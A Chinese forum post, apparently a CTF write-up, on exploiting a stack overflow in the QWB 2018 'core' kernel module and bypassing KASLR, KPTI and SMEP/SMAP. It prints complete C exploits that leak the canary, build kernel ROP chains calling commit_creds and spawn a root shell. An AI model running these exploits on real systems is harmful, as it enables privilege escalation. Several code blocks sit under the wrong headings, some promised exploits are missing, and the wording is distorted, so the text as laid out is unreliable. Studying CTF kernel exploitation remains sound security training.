Kernel Stack栈溢出攻击及保护绕过

铁佛  金牌会员 | 2024-9-23 19:15:44 | 显示全部楼层 | 阅读模式
打印 上一主题 下一主题

主题 879|帖子 879|积分 2637

前言

本文介绍Linux内核的栈溢出攻击,和内核一些保护的绕过手法,通过一道内核题及其变体从浅入深一步步走进kernel世界。
QWB_2018_core

题目分析

start.sh
  1. qemu-system-x86_64 \
  2.     -m 128M \
  3.     -kernel ./bzImage \
  4.     -initrd  ./core.cpio \
  5.     -append "root=/dev/ram rw console=ttyS0 oops=panic panic=1 quiet kaslr" \
  6.     -s \
  7.     -netdev user,id=t0, -device e1000,netdev=t0,id=nic0 \
  8.     -nographic  \
复制代码
开启了kaslr保护。
如果自己编译的 qemu 可能会报错network backend ‘user‘ is not compiled into this binary,解决方法就是sudo apt-get install libslirp-dev,然后重新编译 ./configure --enable-slirp。
init
解压 core.cpio(最简朴的方式就是在ubuntu里,右击提取到此处),分析 init 文件:
  1. #!/bin/sh
  2. mount -t proc proc /proc
  3. mount -t sysfs sysfs /sys
  4. mount -t devtmpfs none /dev
  5. /sbin/mdev -s
  6. mkdir -p /dev/pts
  7. mount -vt devpts -o gid=4,mode=620 none /dev/pts
  8. chmod 666 /dev/ptmx
  9. cat /proc/kallsyms > /tmp/kallsyms
  10. echo 1 > /proc/sys/kernel/kptr_restrict
  11. echo 1 > /proc/sys/kernel/dmesg_restrict
  12. ifconfig eth0 up
  13. udhcpc -i eth0
  14. ifconfig eth0 10.0.2.15 netmask 255.255.255.0
  15. route add default gw 10.0.2.2
  16. insmod /core.ko # 加载内核模块core.ko
  17. setsid /bin/cttyhack setuidgid 1000 /bin/sh
  18. echo 'sh end!\n'
  19. umount /proc
  20. umount /sys
  21. poweroff -d 0  -f
复制代码

  • 第 9 行中把 kallsyms 的内容生存到了 /tmp/kallsyms 中,那么我们就能从 /tmp/kallsyms 中读取 commit_creds,prepare_kernel_cred 的函数的地址了。
  • 第 10 行把 kptr_restrict 设为 1,如许就不能通过 /proc/kallsyms 查看函数地址了,但第 9 行已经把此中的信息生存到了一个可读的文件中,这句就无关紧要了。
  • 第 11 行把 dmesg_restrict 设为 1,如许就不能通过 dmesg 查看 kernel 的信息了。
  • 第 18 行设置了定时关机,为了避免做题时产生干扰,直接把这句删掉然后重新打包。
里面还有一个 gen_cpio.sh 脚本,用于快速打包。
  1. find . -print0 \
  2. | cpio --null -ov --format=newc \
  3. | gzip -9 > $1
复制代码


  • KASLR
    Kernel Address Space Layout Randomization(内核地址空间布局随机化),开启后,允许kernel image加载到VMALLOC区域的任何位置。在未开启KASLR保护机制时,内核代码段的基址为 0xffffffff81000000,direct mapping area 的基址为 0xffff888000000000。
  • FG-KASLR
    Function Granular Kernel Address Space Layout Randomization细粒度的 kaslr,函数级别上的 KASLR 优化。该保护只是在代码段打乱次序,在数据段偏移不变,比方 commit_creds 函数的偏移改变但是 init_cred 的偏移不变。
  • Dmesg Restrictions
    通过设置/proc/sys/kernel/dmesg_restrict为1, 可以将dmesg输出的信息视为敏感信息(默认为0)
  • Kernel Address Display Restriction
    内核提供控制变量 /proc/sys/kernel/kptr_restrict 用于控制内核的一些输出打印。

    • kptr_restrict == 2 :内核将符号地址打印为全 0 , root 和普通用户都没有权限.
    • kptr_restrict == 1 : root 用户有权限读取,普通用户没有权限.
    • kptr_restrict == 0 : root 和普通用户都可以读取.

core.ko
检查一下保护。
  1. ❯ checksec core/core.ko
  2. [*] '/home/pwn/kernel/pwn/give_to_player/core/core.ko'
  3.    Arch:     amd64-64-little
  4.    RELRO:    No RELRO
  5.    Stack:    Canary found
  6.    NX:       NX enabled
  7.    PIE:      No PIE (0x0)
复制代码
使用 IDA 继承分析.ko文件。
init_module() 注册了 /proc/core,core_fops 时其注册的file_operations布局体实例,碰面会做介绍。
  1. __int64 init_module()
  2. {
  3.  core_proc = proc_create("core", 438LL, 0LL, &core_fops);
  4.  printk(&unk_2DE);
  5.  return 0LL;
  6. }
复制代码
exit_core()删除 /proc/core。
  1. __int64 exit_core()
  2. {
  3.  __int64 result; // rax
  4.  if ( core_proc )
  5.    result = remove_proc_entry("core");
  6.  return result;
  7. }
复制代码
core_ioctl() 定义了三条命令,分别调用 core_read(), core_copy_func()和设置全局变量 off。
  1. __int64 __fastcall core_ioctl(__int64 a1, int a2, __int64 a3)
  2. {
  3.  switch ( a2 )
  4.   {
  5.    case 0x6677889B:
  6.      core_read(a3);
  7.      break;
  8.    case 0x6677889C:
  9.      printk(&unk_2CD);
  10.      off = a3;
  11.      break;
  12.    case 0x6677889A:
  13.      printk(&unk_2B3);
  14.      core_copy_func(a3);
  15.      break;
  16.   }
  17.  return 0LL;
  18. }
复制代码
core_read() 从 v4[off] 拷贝 64 个字节到用户空间,但要注意的是全局变量 off 是我们可以或许控制的,因此可以公道的控制 off 来 leak canary 和一些地址 。
  1. void __fastcall core_read(__int64 a1)
  2. {
  3.  __int64 v1; // rbx
  4.  char *v2; // rdi
  5.  signed __int64 i; // rcx
  6.  char v4[64]; // [rsp+0h] [rbp-50h]
  7.  /*
  8.  * canary保存在rsp+0x40的位置,
  9.  * 我们通过设置off为0x40,即可将其读取出来。
  10.  */
  11.  unsigned __int64 v5; // [rsp+40h] [rbp-10h]
  12.  v1 = a1;
  13.  v5 = __readgsqword(0x28u);
  14.  printk("\x016core: called core_read\n");
  15.  printk("\x016%d %p\n");
  16.  v2 = v4;
  17.  for ( i = 16LL; i; --i )
  18.   {
  19.    *(_DWORD *)v2 = 0;
  20.    v2 += 4;
  21.   }
  22.  strcpy(v4, "Welcome to the QWB CTF challenge.\n");
  23.  if ( copy_to_user(v1, &v4[off], 64LL) )
  24.    __asm { swapgs }
  25. }
复制代码
core_copy_func() 从全局变量 name 中拷贝数据到局部变量中,长度是由我们指定的,当要注意的是 qmemcpy 用的是 unsigned __int16,但传递的长度是 signed __int64,因此如果控制传入的长度为 0xffffffffffff0000|(0x100) 等值,就可以栈溢出了。
  1. __int64 __fastcall core_copy_func(__int64 a1)
  2. {
  3.  __int64 result; // rax
  4.  _QWORD v2[10]; // [rsp+0h] [rbp-50h] BYREF
  5.  v2[8] = __readgsqword(0x28u);
  6.  printk(&unk_215);
  7.  // 这里用的jg判断,为有符号判断,0xffffffffffff0000|(0x100) 会判定为负从而绕过。
  8.  if ( a1 > 63 )
  9.   {
  10.    printk(&unk_2A1);
  11.    return 0xFFFFFFFFLL;
  12.   }
  13.  else
  14.   {
  15.    result = 0LL;
  16.    // 栈溢出。
  17.    qmemcpy(v2, &name, (unsigned __int16)a1);
  18.   }
  19.  return result;
  20. }
复制代码
core_write() 向全局变量 name 上写,如许通过 core_write() 和 core_copy_func() 就可以控制 ropchain 了 。
  1. signed __int64 __fastcall core_write(__int64 a1, __int64 a2, unsigned __int64 a3)
  2. {
  3.  unsigned __int64 v3; // rbx
  4.  v3 = a3;
  5.  printk("\x016core: called core_writen");
  6.  if ( v3 <= 0x800 && !copy_from_user(name, a2, v3) )
  7.    return (unsigned int)v3;
  8.  printk("\x016core: error copying data from userspacen");
  9.  return 0xFFFFFFF2LL;
  10. }
复制代码
kernel rop with KPIT

将 CPU 类型修改为 kvm64 后开启了 KPTI 保护。
  1. -append "root=/dev/ram rw console=ttyS0 oops=panic panic=1 quiet nokaslr"
复制代码
KPTI
kernel page-table isolation,内核页表隔离,进程页表隔离。旨在更好地隔离用户空间与内核空间的内存来提高安全性。KPTI通过完全分离用户空间与内核空间页表来解决页表泄露。一旦开启了KPTI,由于内核态和用户态的页表不同,以是如果使用 ret2user或内核执行ROP返回用户态时,由于内核态无法确定用户态的页表,就会报出一个段错误。可以使用内核现有的gadget将 cr3 与 0x1000 异或(第13位置0)来完成从用户态PGD转换成内核态PGD。
使用思路

比较简朴的方法是借助 swapgs_restore_regs_and_return_to_usermode 返回用户态。该函数是内核在 arch/x86/entry/entry_64.S 中提供的一个用于完成内核态到用户态切换的函数。固然我们也可以使用内核的gadget将cr3的第13位置0(与0x1000异或)来完成从用户态PGD转换成内核态PGD。
  1. ...
  2. setsid /bin/cttyhack setuidgid 0 /bin/sh
  3. ...
复制代码
exp
  1. / # lsmod
  2. core 16384 0 - Live 0xffffffffc0000000 (O)
复制代码
使用 pt_regs 构造 rop

qemu启动脚本
  1. -append "root=/dev/ram rw console=ttyS0 oops=panic panic=1 quiet nokaslr"
复制代码
查看entry_SYSCALL_64 这一用汇编写的函数内部,注意到当程序进入到内核态时,该函数会将全部的寄存器压入内核栈上,形成一个 pt_regs布局体,该布局体实质上位于内核栈底,定义如下:
  1. _DWORD *__fastcall prepare_kernel_cred(__int64 a1)
  2. {
  3. _DWORD *v1; // rbx
  4. int *task_cred; // rbp
  5. v1 = (_DWORD *)kmem_cache_alloc(qword_FFFFFFFF82735900, 20971712LL);
  6. if ( !v1 )
  7. return 0LL;
  8. if ( a1 )
  9. {
  10. task_cred = (int *)get_task_cred(a1);
  11. }
  12. else
  13. {
  14. _InterlockedIncrement(dword_FFFFFFFF8223D1A0);
  15. task_cred = dword_FFFFFFFF8223D1A0; // init_cred
  16. }
  17. [......]
  18. }
复制代码
内核栈只有一个页面的巨细,而 pt_regs 布局体则固定位于内核栈栈底,当我们劫持内核布局体中的某个函数指针时(比方 seq_operations->start),在我们通过该函数指针劫持内核执行流时 rsp 与 栈底的相对偏移通常是不变的。
而在系统调用当中过程有很多的寄存器其实是不一定能用上的,比如 r8 ~ r15,这些寄存器为我们布置 ROP 链提供了可能,我们不难想到:只需要寻找到一条形如 "add rsp, val ; ret" 的gadget便可以或许完成ROP,在进入内核态前像寄存器写入一些值,看那些寄存器可以被生存,以便后续写入gadget。
KPTI pass:使用 seq_operations + pt_regs
布局体 seq_operations 的条目如下:
  1. size_t user_cs, user_ss, user_rflags, user_sp;
  2. void saveStatus()
  3. {
  4.    __asm__("mov user_cs, cs;"
  5.            "mov user_ss, ss;"
  6.            "mov user_sp, rsp;"
  7.            "pushf;"
  8.            "pop user_rflags;"
  9.            );
  10.    puts("\033[34m\033[1m[*] Status has been saved.\033[0m");
  11. }
复制代码

  • 当我们打开一个 stat 文件时(如 /proc/self/stat)便会在内核空间中分配一个 seq_operations 布局体
  • 当我们 read 一个 stat 文件时,内核会调用其 proc_ops 的 proc_read_iter 指针,然后调用 seq_operations->start 函数指针
使用思路

这次我们限制溢出只能覆盖返回地址,此时需要栈迁移到其他地方构造 rop 。此中一个思路就是在 pt_regs 上构造 rop 。我们在调用 core_copy_func 函数之前先将寄存器设置为几个特殊的值,然后再 core_copy_func 函数的返回处下断点。
  1. |----------------------|
  2. | RIP                  |<== low mem
  3. |----------------------|
  4. | CS                   |
  5. |----------------------|
  6. | EFLAGS               |
  7. |----------------------|
  8. | RSP                  |
  9. |----------------------|
  10. | SS                   |<== high mem
  11. |----------------------|
复制代码
数字没变的寄存器就是我们可以或许控制的,可以被我们用来写 gadget。
  1. ↓   swapgs
  2.    iretq
  3.    user_shell_addr
  4.    user_cs
  5.    user_eflags //64bit user_rflags
  6.    user_sp
  7.    user_ss
复制代码
新版本内核对抗使用 pt_regs 进行攻击的办法

内核主线在 这个 commit 中为系统调用栈添加了一个偏移值,这意味着 pt_regs 与我们触发劫持内核执行流时的栈间偏移值不再是固定值:
  1. #include <fcntl.h>
  2. #include <stdio.h>
  3. #include <stdlib.h>
  4. #include <string.h>
  5. #include <sys/types.h>
  6. #include <unistd.h>
  7. #include <sys/ioctl.h>
  8. #define KERNCALL __attribute__((regparm(3)))
  9. /* /tmp/kallsyms 保存的符号地址,这里保存的是未开启kaslr的地址 */
  10. void *(*prepare_kernel_cred)(void *) KERNCALL = (void *) 0xFFFFFFFF8109CCE0;
  11. void *(*commit_creds)(void *) KERNCALL = (void *) 0xFFFFFFFF8109C8E0;
  12. void *init_cred = (void *) 0xFFFFFFFF8223D1A0;
  13. void get_shell()
  14. {
  15.    system("/bin/sh");
  16. }
  17. void get_root() {
  18.    commit_creds(init_cred);
  19.    // commit_creds(prepare_kernel_cred(0));
  20.    asm("swapgs;"
  21.        "mov rsp, tf_addr;"
  22.        "iretq;");
  23. }
  24. struct trap_frame {
  25.    size_t user_rip;
  26.    size_t user_cs;
  27.    size_t user_rflags;
  28.    size_t user_sp;
  29.    size_t user_ss;
  30. } __attribute__((packed));
  31. struct trap_frame tf;
  32. size_t user_cs, user_rflags, user_sp, user_ss, tf_addr = (size_t) &tf;
  33. void save_status() {
  34.    __asm__("mov user_cs, cs;"
  35.            "mov user_ss, ss;"
  36.            "mov user_sp, rsp;"
  37.            "pushf;"
  38.            "pop user_rflags;");
  39.    tf.user_rip = (size_t) get_shell;
  40.    tf.user_cs = user_cs;
  41.    tf.user_rflags = user_rflags;
  42.    tf.user_sp = user_sp - 0x1000;
  43.    tf.user_ss = user_ss;
  44.    puts("[*] status has been saved.");
  45. }
  46. int core_fd;
  47. void core_read(char *buf) {
  48.    ioctl(core_fd, 0x6677889B, buf);
  49. }
  50. void set_off(size_t off) {
  51.    ioctl(core_fd, 0x6677889C, off);
  52. }
  53. void core_copy_func(size_t len) {
  54.    ioctl(core_fd, 0x6677889A, len);
  55. }
  56. void core_write(char *buf, size_t len) {
  57.    write(core_fd, buf, len);
  58. }
  59. /* 计算开启kaslr后的偏移,重定位相关函数和结构体的地址 */
  60. void rebase() {
  61.    FILE *kallsyms_fd = fopen("/tmp/kallsyms", "r");
  62.    if (kallsyms_fd < 0) {
  63.        puts("[-] Failed to open kallsyms.\n");
  64.        exit(-1);
  65.    }
  66.    char name[0x50], type[0x10];
  67.    size_t addr;
  68.    while (fscanf(kallsyms_fd, "%llx%s%s", &addr, type, name)) {
  69.        size_t offset = -1;
  70.        if (!strcmp(name, "commit_creds")) {
  71.            offset = addr - (size_t) commit_creds;
  72.        } else if (!strcmp(name, "prepare_kernel_cred")) {
  73.            offset = addr - (size_t) prepare_kernel_cred;
  74.        }
  75.        if (offset != -1) {
  76.            printf("[*] offset: %p\n", offset);
  77.            commit_creds = (void *) ((size_t) commit_creds + offset);
  78.            prepare_kernel_cred = (void *) ((size_t) prepare_kernel_cred + offset);
  79.            init_cred = (void *) ((size_t) init_cred + offset);
  80.            break;
  81.        }
  82.    }
  83.    printf("[*] commit_creds: %p\n", (size_t) commit_creds);
  84.    printf("[*] prepare_kernel_cred: %p\n", (size_t) prepare_kernel_cred);
  85. }
  86. size_t get_canary() {
  87.    set_off(0x40);
  88.    char buf[0x40];
  89.    core_read(buf);
  90.    return *(size_t *) buf;
  91. }
  92. int main() {
  93.    rebase();
  94.    save_status();
  95.    core_fd = open("/proc/core", O_RDWR);
  96.    if (core_fd < 0) {
  97.        puts("[-] Failed to open core.");
  98.        exit(-1);
  99.    }
  100.    size_t canary = get_canary();
  101.    printf("[*] canary: %p\n", canary);
  102.    char buf[0x100];
  103.    memset(buf, '\x00', sizeof(buf));
  104.    *(size_t *) &buf[0x40] = canary;
  105.    *(void **) &buf[0x50] = get_root; // 覆盖返回地址
  106.    core_write(buf, sizeof(buf));
  107.    // jg 有符号判断,判其为负数,qmemcpy() 第三个参数取其后16位,导致溢出。
  108.    core_copy_func(0xffffffffffff0000 | sizeof(buf));
  109.    return 0;
  110. }
复制代码
固然,若是在这个随机偏移值较小且我们仍有足够多的寄存器可用的环境下,仍然可以通过布置一些 slide gadget 来继承完成使用,不过稳固性也大幅下降了。
exp
  1. find . | cpio -o -H newc > ../rootfs.imgs
复制代码
执行 add_rsp_0xc8_pop*4_ret 时栈布局,rsp抬高0xc8+0x20后 ret 会执行到我们的 shellcode。
[img=720,430.96153846153845]https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202409231531566.png[/img]

ret2dir

如果 ptregs 所在的内存被修改了导致可控内存变少,我们可以使用 ret2dir 的使用方式将栈迁移至内核的线性映射区。不同版本内核的线性映射区可以从内核源码文档的mm.txt查看。
[img=720,157.10247349823322]https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202409231531567.png[/img]

ret2dir 是哥伦比亚大学网络安全实行室在 2014 年提出的一种辅助攻击手法,主要用来绕过 smep、smap、pxn 等用户空间与内核空隔断离的防护手段,原论文。 linux 系统有一部分物理内存区域同时映射到用户空间和内核空间的某个物理内存地址。一块区域叫做 direct mapping area,即内核的线性映射区。,这个区域映射了全部的物理内存。我们在用户空间中布置的 gadget 可以通过 direct mapping area 上的地址在内核空间中访问到。
[img=720,346.9146238377008]https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202409231531568.png[/img]

但需要注意的是在新版的内核当中 direct mapping area 已经不再具有可执行权限,因此我们很难再在用户空间直接布置 shellcode 进行使用,但我们仍能通过在用户空间布置 ROP 链的方式完成使用。
使用思路


  • 在用户空间大量喷洒我们的gadget: add_rsp_0xe8_ret
  • 返回地址覆盖为对应内核版本的线性映射区+0x7000000的位置。
  • 使用pt_regs生存的pop_rbp_ret; target_addr; leave;ret 来完成栈迁移。
  • 执行线性映射区的shellcode。
exp
  1. from pwn import *
  2. import base64
  3. #context.log_level = "debug"
  4. with open("./exp", "rb") as f:
  5.    exp = base64.b64encode(f.read())
  6. p = remote("127.0.0.1", 11451)
  7. #p = process('./run.sh')
  8. try_count = 1
  9. while True:
  10.    p.sendline()
  11.    p.recvuntil("/ $")
  12.    count = 0
  13.    for i in range(0, len(exp), 0x200):
  14.        p.sendline("echo -n "" + exp[i:i + 0x200] + "" >> /tmp/b64_exp")
  15.        count += 1
  16.        log.info("count: " + str(count))
  17.    for i in range(count):
  18.        p.recvuntil("/ $")
  19.    
  20.    p.sendline("cat /tmp/b64_exp | base64 -d > /tmp/exploit")
  21.    p.sendline("chmod +x /tmp/exploit")
  22.    p.sendline("/tmp/exploit ")
  23.    break
  24. p.interactive()
复制代码
流程
(1)修改返回地址为线性映射区的地址,大概率会执行到add_rsp_0xe8_ret将栈抬升到pt_regs处,执行我们负责栈迁移的shell_code。

(2)将栈迁移到我们目的地址后,大量的slider gadget将栈不断抬升到get_root代码处,完成提权。

kernel rop + ret2user

使用思路

这种方法现实上是将前两种方法团结起来,同样可以绕过 smap 和 smep 保护。大体思路是先使用 rop 设置 cr4 为 0x6f0 (这个值可以通过用 cr4 原始值 & 0xFFFFF 得到)关闭 smep , 然后 iret 到用户空间去执行提权代码。
[img=720,177.3019271948608]https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202409231531571.jpg[/img]

比方,当
  1. qemu-system-x86_64 \
  2.     -m 128M \
  3.     -kernel ./bzImage \
  4.     -initrd  ./core.cpio \
  5.     -append "root=/dev/ram rw console=ttyS0 oops=panic panic=1 quiet nokaslr" \
  6.     -s  \
  7.     -netdev user,id=t0, -device e1000,netdev=t0,id=nic0 \
  8.     -nographic  \
  9.     -cpu qemu64,+smep,+smap
复制代码
时,smep 保护开启。而 CR4 寄存器是可以通过 mov 指令修改的,因此只需要
  1. #include <fcntl.h>
  2. #include <stdio.h>
  3. #include <stdlib.h>
  4. #include <string.h>
  5. #include <sys/types.h>
  6. #include <unistd.h>
  7. #include <sys/ioctl.h>
  8. // from vmlinux
  9. size_t prepare_kernel_cred = 0xFFFFFFFF8109CCE0;
  10. size_t commit_creds = 0xFFFFFFFF8109C8E0;
  11. size_t init_cred = 0xFFFFFFFF8223D1A0;
  12. size_t pop_rdi_ret = 0xffffffff81000b2f;
  13. size_t pop_rdx_ret = 0xffffffff810a0f49;
  14. size_t pop_rcx_ret = 0xffffffff81021e53;
  15. /*
  16. * (1)如果使用 commit_creds(prepare_kernel_cred(NULL));
  17. * 由于找不到 mov rdi, rax; ret; 这条 gadget ,
  18. * 因此需要用 mov rdi, rax; call rdx; 代替,其中 rdx 指向 pop rcx; ret;
  19. * 可以清除 call 指令压入栈中的 rip ,因此相当于 ret 。
  20. * (2)如果使用 commit_creds(init_cred);
  21. * 则只需要 pop rdi; ret 即可。
  22. */
  23. size_t mov_rdi_rax_call_rdx = 0xffffffff8101aa6a;
  24. size_t swapgs_popfq_ret = 0xffffffff81a012da;
  25. size_t iretq = 0xffffffff81050ac2;
  26. void get_shell() {
  27.    system("/bin/sh");
  28. }
  29. size_t user_cs, user_rflags, user_sp, user_ss;
  30. void save_status() {
  31.    __asm__("mov user_cs, cs;"
  32.            "mov user_ss, ss;"
  33.            "mov user_sp, rsp;"
  34.            "pushf;"
  35.            "pop user_rflags;");
  36.    puts("[*] status has been saved.");
  37. }
  38. int core_fd;
  39. void core_read(char *buf) {
  40.    ioctl(core_fd, 0x6677889B, buf);
  41. }
  42. void set_off(size_t off) {
  43.    ioctl(core_fd, 0x6677889C, off);
  44. }
  45. void core_copy_func(size_t len) {
  46.    ioctl(core_fd, 0x6677889A, len);
  47. }
  48. void core_write(char *buf, size_t len) {
  49.    write(core_fd, buf, len);
  50. }
  51. void rebase() {
  52.    FILE *kallsyms_fd = fopen("/tmp/kallsyms", "r");
  53.    if (kallsyms_fd < 0) {
  54.        puts("[-] Failed to open kallsyms.\n");
  55.        exit(-1);
  56.    }
  57.    char name[0x50], type[0x10];
  58.    size_t addr;
  59.    while (fscanf(kallsyms_fd, "%llx%s%s", &addr, type, name)) {
  60.        size_t offset = -1;
  61.        if (!strcmp(name, "commit_creds")) {
  62.            offset = addr - (size_t) commit_creds;
  63.        } else if (!strcmp(name, "prepare_kernel_cred")) {
  64.            offset = addr - (size_t) prepare_kernel_cred;
  65.        }
  66.        if (offset != -1) {
  67.            printf("[*] offset: %p\n", offset);
  68.            commit_creds += offset;
  69.            prepare_kernel_cred += offset;
  70.            init_cred += offset;
  71.            pop_rdi_ret += offset;
  72.            pop_rdx_ret += offset;
  73.            pop_rcx_ret += offset;
  74.            mov_rdi_rax_call_rdx += offset;
  75.            swapgs_popfq_ret += offset;
  76.            iretq += offset;
  77.            break;
  78.        }
  79.    }
  80.    printf("[*] commit_creds: %p\n", (size_t) commit_creds);
  81.    printf("[*] prepare_kernel_cred: %p\n", (size_t) prepare_kernel_cred);
  82. }
  83. size_t get_canary() {
  84.    set_off(64);
  85.    char buf[64];
  86.    core_read(buf);
  87.    return *(size_t *) buf;
  88. }
  89. int main() {
  90.    save_status();
  91.    rebase();
  92.    core_fd = open("/proc/core", O_RDWR);
  93.    if (core_fd < 0) {
  94.        puts("[-] Failed to open core.");
  95.        exit(-1);
  96.    }
  97.    size_t canary = get_canary();
  98.    printf("[*] canary: %p\n", canary);
  99.    char buf[0x100];
  100.    memset(buf, '\x00', sizeof(buf));
  101.    *(size_t *) &buf[0x40] = canary;
  102.    size_t *rop = (size_t *) &buf[0x50], it = 0;
  103.    
  104.    rop[it++] = pop_rdi_ret;
  105.    rop[it++] = 0;
  106.    rop[it++] = prepare_kernel_cred;
  107.    rop[it++] = pop_rdx_ret; // rdx ==> pop_rcx_ret_addr
  108.    rop[it++] = pop_rcx_ret;
  109.    // rax==prepare_kernel_cred(0), cal rdx ==> push commit_creds_addr, then pop_rcx_ret
  110.    rop[it++] = mov_rdi_rax_call_rdx;
  111.    rop[it++] = commit_creds;
  112.    
  113.    rop[it++] = swapgs_popfq_ret;
  114.    rop[it++] = 0;
  115.    rop[it++] = iretq;
  116.    rop[it++] = (size_t) get_shell;
  117.    rop[it++] = user_cs;
  118.    rop[it++] = user_rflags;
  119.    rop[it++] = user_sp;
  120.    rop[it++] = user_ss;
  121.    core_write(buf, sizeof(buf));
  122.    core_copy_func(0xffffffffffff0000 | sizeof(buf));
  123.    return 0;
  124. }
复制代码
即可关闭 smep 保护。
搜刮一下从 vmlinux 中提取出的 gadget,很轻易就能达到这个目的。

  • 如何查看 CR4 寄存器的值?
    gdb 无法查看 cr4 寄存器的值,可以通过kernel crash 时的信息查看。为了关闭 smep 保护,常用一个固定值 0x6f0,即 mov cr4, 0x6f0。
exp

注意这里 smap 保护不能直接关闭,因此不能像前面 ret2usr 那样直接在 exp 中写入 trap frame 然后栈迁移到 trap frame 的地址,而是在 rop 中构造 trap frame 布局。
  1. #!/bin/sh
  2. qemu-system-x86_64 \
  3.  -m 256M \
  4.  -kernel ./bzImage \
  5.  -initrd ./core.cpio \
  6.  -append "root=/dev/ram rw console=ttyS0 oops=panic panic=1 quiet nokaslr" \
  7.  -s \
  8.  -netdev user,id=t0, -device e1000,netdev=t0,id=nic0 \
  9.  -nographic \
  10.  -cpu kvm64,+smep,+smap
复制代码
更多网安技能的在线实操练习,请点击这里>>
  

免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!更多信息从访问主页:qidao123.com:ToB企服之家,中国第一个企服评测及商务社交产业平台。

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有账号?立即注册

x
回复

使用道具 举报

0 个回复

倒序浏览

快速回复

您需要登录后才可以回帖 登录 or 立即注册

本版积分规则

铁佛

金牌会员
这个人很懒什么都没写!

标签云

快速回复 返回顶部 返回列表